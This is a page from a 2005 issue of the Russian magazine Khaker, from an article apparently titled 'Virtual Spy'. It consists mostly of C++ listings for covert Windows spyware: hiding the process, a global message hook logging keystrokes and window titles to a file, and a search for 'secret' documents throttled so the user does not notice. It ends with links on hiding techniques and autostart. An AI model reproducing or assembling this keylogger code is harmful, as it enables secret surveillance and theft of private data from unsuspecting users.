Издательский дом ООО "Гейм Лэнд"СПЕЦВЫПУСК ЖУРНАЛА ХАКЕР #60, НОЯБРЬ 2005 г.

Виртуальный шпион

Tony (porco@argentina.com)

Спецвыпуск: Хакер, номер #060, стр. 060-058-6


bool IsProcessRunning( char * pName )

{

strlwr( pName );

HANDLE snapshot = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );

PROCESSENTRY32 pe;

char pExeName[256];

for( BOOL r=Process32First(snapshot, &pe); r; r=Process32Next(snapshot, &pe) )

{

strcpy(pExeName, pe.szExeFile);

strlwr(pExeName);

if( std::string(pName)==pExeName )

{

CloseHandle(snapshot);

return true;

}

}

CloseHandle(snapshot);

return false;

}

Листинг "Игра в прятки"

ТИП: Листинг

//Прототип функции HideProcess из NtHide

typedef BOOL (CALLBACK* tNTHIDE)( HWND hwnd );

tNTHIDE ntHide;

//Создаем окно без стиля WS_VISIBLE

gHWnd = CreateWindowEx (0, "Spy", "Spy", WS_POPUP | WS_THICKFRAME, 0, 0, 100, 100, NULL, NULL, hInstance, 0);

//Динамически подгружаем библиотеку NtHide

HMODULE module = LoadLibrary("nthide.dll");

ntHide = (tNTHIDE)GetProcAddress( module, "HideProcess" );

//Прячем процесс

ntHide( gHWnd );

//Устанавливаем хук

InstallHook( gHWnd, WM_HOOKED_CHAR );

// Цикл сообщений

while (GetMessage(&msg, NULL, 0, 0))

{

HWND currentHWnd;

currentHWnd = GetForegroundWindow();

if( currentHWnd!=gActiveWnd )

{

gActiveWnd = currentHWnd;

FILE * file = fopen("keyboard.log","a");

char str[256];

GetWindowText( gActiveWnd, str, 256 );

fprintf( file, "\n[%s]\n", str );

fclose(file);

}

DispatchMessage(&msg);

}

//Убираем хук

UninstallHook();

Листинг "Постановка хуков"

ТИП: Листинг

//Устанавливает хук

//hWnd - дескриптор окна управляющего приложения

//InterceptMsg – сообщение, которое будет посылаться управляющему окну по приходу перехватываемого сообщения

bool InstallHook (HWND hWnd, UINT InterceptMsg)

{

if (hWnd == NULL)

return false;

//Запоминаем дескриптор окна управляющего приложения

gParentWnd = hWnd;

gInterceptMessage = InterceptMsg;

//Устанавливаем хук

gMsgHook= SetWindowsHookEx( WH_GETMESSAGE, KeyboardMsgProc, gInstance, 0 );

//Если не удалось установить хук, то возвращаем ошибку

if (gMsgHook == NULL)

return false;

return true;

};

//Убирает ранее установленный хук

bool UninstallHook()

{

//Удаляем хук

UnhookWindowsHookEx (gMsgHook);

gMsgHook = 0;

return true;

};

Листинг "Поиск файлов"

ТИП: Листинг

HANDLE searchContext;

WIN32_FIND_DATA findData;

searchContext = FindFirstFile( "C:\\Мои документы\\*Секрет*.doc", &findData);

while( FindNextFile( searchContext, &findData ) )

{

//В переменой findData.cFileName мы имеем полное имя и путь искомого файла

//Ставим задержку, чтобы пользователь не заметил активного "шуршания" диска

Sleep(1);

}

FindClose( searchContext );

Полезные инструменты

ТИП: WWW

www.safety-lab.ru

www.securitylab.ru/analytics/216398.php

www.zlib.net

www.rsdn.ru/Forum/Message.aspx?mid=696284&only=1

Автозапуск

ТИП: WWW

www.osp.ru/win2000/2003/01/060.htm

msdn.microsoft.com/library/default.asp?url=/library/en-us/secauthn/security/winlogon_and_gina.asp

Теория и практика пряток

ТИП: WWW

http://subscribe.ru/archive/comp.soft.prog.visualc/200507/09154658.html#4

www.securitylab.ru/contest/212106.php

www.wasm.ru/article.php?article=1021007#p2_6_3

www.wasm.ru/article.php?article=hiddndt

Назад на стр. 060-058-5  Содержание  Вперед на стр. 060-058-7